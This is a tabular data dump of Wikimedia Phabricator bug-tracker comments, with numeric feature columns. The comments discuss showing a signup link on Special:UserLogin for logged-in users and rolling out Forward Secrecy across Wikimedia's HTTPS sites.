**Version**: 1.22.0
**Severity**: normal
**See Also**:
URL
URL"
235484,[[Special:UserLogin]] missing link to signup form when user is logged in,"Change 80769 merged by jenkins-bot:
Special:UserLogin UI improvements when user is logged in

https://gerrit.wikimedia.org/r/80769",,,1381088068,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,24.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,24.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,0.9523809523809523,"Change 80769 merged by jenkins-bot:
Special:UserLogin UI improvements when user is logged in

GERRIT_URL"
235481,[[Special:UserLogin]] missing link to signup form when user is logged in,https://gerrit.wikimedia.org/r/#/c/80769/ needs review.,,,1380206680,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,URL needs review.
235478,[[Special:UserLogin]] missing link to signup form when user is logged in,I implemented this in my change on gerrit.,,,1377897769,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,22.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,I implemented this in my change on gerrit.
235475,[[Special:UserLogin]] missing link to signup form when user is logged in,"**swalling** wrote:

(In reply to comment #10)
> Okay, fair point. But in this case I think it'd be much more useful to
> replace
> the entire login form with text saying that you're already logged in and a
> logout link.
> 
> Doing this would also solve the apparent confusion created by link to account
> creation.
> 
> Does this sound sane? I'll implement it if it does.

Yeah I think that seems sane.

The current login behavior, where you're actually allowed to re-authenticate (or attempt to) even if you're logged in, is pretty weird. 

You may not even need to replace to the form, and instead just generate a message on the page, either statically on page load or when they attempt to log in.",,,1377735856,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,1.0,3.5,1.5,0.0,0.0,0.0,0.5,0.0,8.5,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.5,0.5,0.0,1.5,2.5,0.5,0.0,3.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,3.5,1.0,7.5,2.5,3.5,4.0,0.0,0.0,0.0,0.5,7.0,0.5,0.5,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,3.398148148148148,0.6759259259259259,"**swalling** wrote:

(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah I think that seems sane.

The current login behavior, where you're actually allowed to re-authenticate (or attempt to) even if you're logged in, is pretty weird. 

You may not even need to replace to the form, and instead just generate a message on the page, either statically on page load or when they attempt to log in."
235469,[[Special:UserLogin]] missing link to signup form when user is logged in,"Okay, fair point. But in this case I think it'd be much more useful to replace the entire login form with text saying that you're already logged in and a logout link.

Doing this would also solve the apparent confusion created by link to account creation.

Does this sound sane? I'll implement it if it does.",,,1377728164,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,True,,,0,True,1.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,3.0,4.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,6.0,1.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,12.0,1.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,9.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,9.0,12.0,0.0,1.0,0.0,0.0,9.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,3.8059701492537314,0.8059701492537313,"Okay, fair point. But in this case I think it'd be much more useful to replace the entire login form with text saying that you're already logged in and a logout link.

Doing this would also solve the apparent confusion created by link to account creation.

Does this sound sane? I'll implement it if it does."
235463,[[Special:UserLogin]] missing link to signup form when user is logged in,"**swalling** wrote:

There are only two kinds of users who view the form already logged in:

* Those who know they are logged in, and intend to create another account.
* Those who are not aware they are logged in successfully.

For the first, they do not need a special button on login. These users are advanced enough to be able to find Special:CreateAccount aka Special:UserLogin/signup. 

For the second type of user, it is entirely possible they will be thoroughly confused by being presented with a signup button to create another account. They may not even realize they are logged in, and think that the button is prompting them to create another account because the previous attempt failed. 

Even with the appropriate text, e.g. ""Create another account"", it is very very unusual behavior to encourage new users to create secondary accounts for a website. This defies any normal mental model of when and why we would present account creation calls to action.",,,1377722258,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,False,,,0,True,0.5,0.0,2.0,2.5,1.5,7.5,2.0,0.5,0.0,0.0,2.5,0.0,0.0,0.5,0.5,0.5,0.0,8.5,12.0,0.0,3.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,1.0,0.0,6.5,2.0,1.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,3.5,0.0,1.0,0.5,1.0,0.0,0.0,0.5,12.5,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,4.5,6.0,7.0,2.0,1.5,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,5.0,12.0,2.5,0.0,1.0,0.0,5.0,0.0,2.5,1.5,0.5,0.5,0.0,0.0,0.0,4.122448979591836,0.6734693877551021,"**swalling** wrote:

There are only two kinds of users who view the form already logged in:

* Those who know they are logged in, and intend to create another account.
* Those who are not aware they are logged in successfully.

For the first, they do not need a special button on login. These users are advanced enough to be able to find Special:CreateAccount aka Special:UserLogin/signup. 

For the second type of user, it is entirely possible they will be thoroughly confused by being presented with a signup button to create another account. They may not even realize they are logged in, and think that the button is prompting them to create another account because the previous attempt failed. 

Even with the appropriate text, e.g. ""Create another account"", it is very very unusual behavior to encourage new users to create secondary accounts for a website. This defies any normal mental model of when and why we would present account creation calls to action."
235457,[[Special:UserLogin]] missing link to signup form when user is logged in,"I meant rationale for hiding this at all, not for the specific method. Why?
I explained how it will be useful even on Wikimedia wikis.",,,1377686333,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,True,,,0,True,3.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,13.0,7.0,3.0,0.0,0.0,10.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7,0.9,"I meant rationale for hiding this at all, not for the specific method. Why?
I explained how it will be useful even on Wikimedia wikis."
235452,[[Special:UserLogin]] missing link to signup form when user is logged in,"**swalling** wrote:

(In reply to comment #6)
> (In reply to comment #5)
> > Log in appears in Special:SpecialPages and Create account
> > doesn't (a corollary of bug 15700). If we add ""Create account"" to
> > Special:SpecialPages so people can find create account easily, can we leave
> > this bug unfixed?
> 
> Sounds sane, but that bug has been open since 2008. Are you going to fix it
> before 1.22 release? If not, I'd go with this solution.
> 
> 
> (In reply to comment #5)
> > Otherwise this behavior should be controlled by a settings variable,
> > wgShowCreateAccountWhenLoggedIn.
> 
> I'm reluctant to adding more config variables. What's the rationale here?

To propose a rationale: hiding this element in CSS across hundreds of Wikimedia wikis seems an inelegant solution. There aren't actually that many ways to configure the contents of the login form. 

The other reasonable alternative here is to WONTFIX this bug, under the assumption that for the third party use case, where a wiki is locked down and requires an a sysop to create accounts for others, the sysops in question know how to find with CreateAccount page without this CTA.",,,1377655022,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,False,,,0,True,0.5,0.0,0.0,0.5,0.5,3.5,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,3.5,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,1.5,0.0,1.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,14.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,7.5,2.0,13.0,3.0,0.5,9.5,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,0.0,13.0,9.5,0.0,0.0,0.0,0.0,0.0,1.5,3.0,0.0,0.5,0.0,0.0,0.0,3.855072463768116,0.6521739130434783,"**swalling** wrote:

(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

To propose a rationale: hiding this element in CSS across hundreds of Wikimedia wikis seems an inelegant solution. There aren't actually that many ways to configure the contents of the login form. 

The other reasonable alternative here is to WONTFIX this bug, under the assumption that for the third party use case, where a wiki is locked down and requires an a sysop to create accounts for others, the sysops in question know how to find with CreateAccount page without this CTA."
235445,[[Special:UserLogin]] missing link to signup form when user is logged in,"(In reply to comment #5)
> Log in appears in Special:SpecialPages and Create account
> doesn't (a corollary of bug 15700). If we add ""Create account"" to
> Special:SpecialPages so people can find create account easily, can we leave
> this bug unfixed?

Sounds sane, but that bug has been open since 2008. Are you going to fix it before 1.22 release? If not, I'd go with this solution.


(In reply to comment #5)
> Otherwise this behavior should be controlled by a settings variable,
> wgShowCreateAccountWhenLoggedIn.

I'm reluctant to adding more config variables. What's the rationale here?",,,1377599817,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,18.0,3.0,1.0,4.0,0.0,0.0,0.0,3.0,5.0,0.0,5.0,0.0,5.0,13.0,4.0,3.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,3.230769230769231,0.6666666666666666,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

Sounds sane, but that bug has been open since 2008. Are you going to fix it before 1.22 release? If not, I'd go with this solution.


(In reply to comment #5)
QUOTE
QUOTE

I'm reluctant to adding more config variables. What's the rationale here?"
235441,[[Special:UserLogin]] missing link to signup form when user is logged in,"Yes, login when you're logged in is strange, but it's not harmful to log in again and is useful on a shared computer.  We hide the login / create account link(s) in the top left when logged in, so this fix only helps users who can get to the UserLogin page but can't get to Create account. That's somewhat plausible because Log in appears in Special:SpecialPages and Create account doesn't (a corollary of bug 15700). If we add ""Create account"" to Special:SpecialPages so people can find create account easily, can we leave this bug unfixed?

Otherwise this behavior should be controlled by a settings variable, wgShowCreateAccountWhenLoggedIn.",,,1377568020,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,1.0,2.0,4.0,1.0,1.0,0.0,1.0,4.5,2.0,0.0,1.5,0.0,2.0,0.0,6.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,5.5,1.0,0.5,1.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,12.5,1.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,1.0,0.0,3.5,2.0,9.5,3.5,3.0,6.5,0.0,0.0,0.0,0.0,6.5,0.5,1.0,0.0,3.0,10.0,6.5,1.0,1.5,0.0,3.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.7575757575757576,"Yes, login when you're logged in is strange, but it's not harmful to log in again and is useful on a shared computer.  We hide the login / create account link(s) in the top left when logged in, so this fix only helps users who can get to the UserLogin page but can't get to Create account. That's somewhat plausible because Log in appears in Special:SpecialPages and Create account doesn't (a corollary of bug 15700). If we add ""Create account"" to Special:SpecialPages so people can find create account easily, can we leave this bug unfixed?

Otherwise this behavior should be controlled by a settings variable, wgShowCreateAccountWhenLoggedIn."
235435,[[Special:UserLogin]] missing link to signup form when user is logged in,"**swalling** wrote:

(In reply to comment #3)
> (In reply to comment #2)
> > Is there going to be a config variable or other method to not show this on
> > Wikimedia wikis?
> 
> I didn't add one in my patch, but I guess there could be one. It'd be easier
> to
> hide with CSS, though, in my patch the new link area has an unique id.
> 

Okay. Adding S Page, since he may be able to help with either CSS or a config var.",,,1377548942,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,26.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,2.0,9.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.8703703703703702,0.6296296296296297,"**swalling** wrote:

(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Okay. Adding S Page, since he may be able to help with either CSS or a config var."
235430,[[Special:UserLogin]] missing link to signup form when user is logged in,"(In reply to comment #2)
> Is there going to be a config variable or other method to not show this on
> Wikimedia wikis?

I didn't add one in my patch, but I guess there could be one. It'd be easier to hide with CSS, though, in my patch the new link area has an unique id.


> As you said, this is rarely useful on Wikimedia wikis, and
> might in fact confuse new people or encourage sockpuppetry.

Accounts created when logged in have the creator logged on [[Special:Log/newusers]], so I don't think there is a huge concern about sockpuppetry here, it'd only make it easier to discover socks.

It might be a little confusing - but even showing the login form when you're already logged in is already confusing enough, adding the registration link is IMO only consistent with the ""normal"" form.",,,1377547629,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.5,0.0,2.5,3.0,0.0,1.5,1.0,3.0,0.0,9.0,7.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,5.0,2.5,2.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,3.5,0.0,1.0,0.5,0.0,0.0,5.0,4.0,8.5,1.0,1.0,5.0,0.0,0.0,0.0,0.5,5.5,0.0,1.5,0.0,6.0,7.0,2.5,0.0,1.5,0.0,6.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,1.0,3.5211267605633805,0.7605633802816901,"(In reply to comment #2)
QUOTE
QUOTE

I didn't add one in my patch, but I guess there could be one. It'd be easier to hide with CSS, though, in my patch the new link area has an unique id.


QUOTE
QUOTE

Accounts created when logged in have the creator logged on [[Special:Log/newusers]], so I don't think there is a huge concern about sockpuppetry here, it'd only make it easier to discover socks.

It might be a little confusing - but even showing the login form when you're already logged in is already confusing enough, adding the registration link is IMO only consistent with the ""normal"" form."
235425,[[Special:UserLogin]] missing link to signup form when user is logged in,"**swalling** wrote:

The implementation of this, from looking at the patch and the associated screenshot, seems good. I think having this in core is probably a no brainer, for the reasons you cited.

Is there going to be a config variable or other method to not show this on Wikimedia wikis? As you said, this is rarely useful on Wikimedia wikis, and might in fact confuse new people or encourage sockpuppetry.",,,1377546558,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,1.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,3.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,7.0,5.0,7.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,13.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.9310344827586206,0.7126436781609196,"**swalling** wrote:

The implementation of this, from looking at the patch and the associated screenshot, seems good. I think having this in core is probably a no brainer, for the reasons you cited.

Is there going to be a config variable or other method to not show this on Wikimedia wikis? As you said, this is rarely useful on Wikimedia wikis, and might in fact confuse new people or encourage sockpuppetry."
235420,[[Special:UserLogin]] missing link to signup form when user is logged in,"Change 80769 had a related patch set uploaded by Matmarex:
Show signup link on Special:UserLogin when user is logged in

https://gerrit.wikimedia.org/r/80769",,,1377377490,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,23.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.346153846153846,0.9615384615384616,"Change 80769 had a related patch set uploaded by Matmarex:
Show signup link on Special:UserLogin when user is logged in

GERRIT_URL"
55259,Add Forward Secrecy to all HTTPS sites,"**Author:** `michael+wmbugs`

**Description:**
~~Forward Secrecy capable ciphers are not currently available on wikipedia.org. The only ciphers available on wikipedia.org are:~~

^ Original assertion no long true, but this ticket is now tracking progress on all of our many other sites, aside from the primary wikis.",Medium,50.0,1377276360,1442774382.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_description,resolved,True,c2,2,False,False,False,-1,True,3.0,0.0,0.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,4.383333333333334,0.7666666666666667,"**Author:** CODE

**Description:**
~~Forward Secrecy capable ciphers are not currently available on wikipedia.org. The only ciphers available on wikipedia.org are:~~

^ Original assertion no long true, but this ticket is now tracking progress on all of our many other sites, aside from the primary wikis."
531063,Add Forward Secrecy to all HTTPS sites,"Great. Thank you, all who worked on this!",,,1442774382,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,107,True,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,1.0,"Great. Thank you, all who worked on this!"
530990,Add Forward Secrecy to all HTTPS sites,"I think this task can finally be closed as resolved, as there're no more domains that lack FS. (T91504 is now about DNSSEC.)

https://wikitech.wikimedia.org/wiki/HTTPS/domains",,,1442734263,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,107,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,3.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.4516129032258065,0.9354838709677419,"I think this task can finally be closed as resolved, as there're no more domains that lack FS. (T91504 is now about DNSSEC.)

URL"
490679,Add Forward Secrecy to all HTTPS sites,">>! In T55259#1448222, @BBlack wrote:
> Done, which should get us ECDHE-based Forward Secrecy on any remaining precise+apache2.2 hosts.  Tested a few in ssllabs and they look fine.  sodium (lists.wikimedia.org) should be the only apache left that doesn't do FS now.

Works on the OTRS, just tested. Thank you very much :-).
",,,1436733446,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,97,True,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,0.8421052631578947,"QUOTE
QUOTE

Works on the OTRS, just tested. Thank you very much :-).
"
490634,Add Forward Secrecy to all HTTPS sites,"Done, which should get us ECDHE-based Forward Secrecy on any remaining precise+apache2.2 hosts.  Tested a few in ssllabs and they look fine.  sodium (lists.wikimedia.org) should be the only apache left that doesn't do FS now.",,,1436713683,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,97,True,4.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,4.1521739130434785,0.9130434782608695,"Done, which should get us ECDHE-based Forward Secrecy on any remaining precise+apache2.2 hosts.  Tested a few in ssllabs and they look fine.  sodium (lists.wikimedia.org) should be the only apache left that doesn't do FS now."
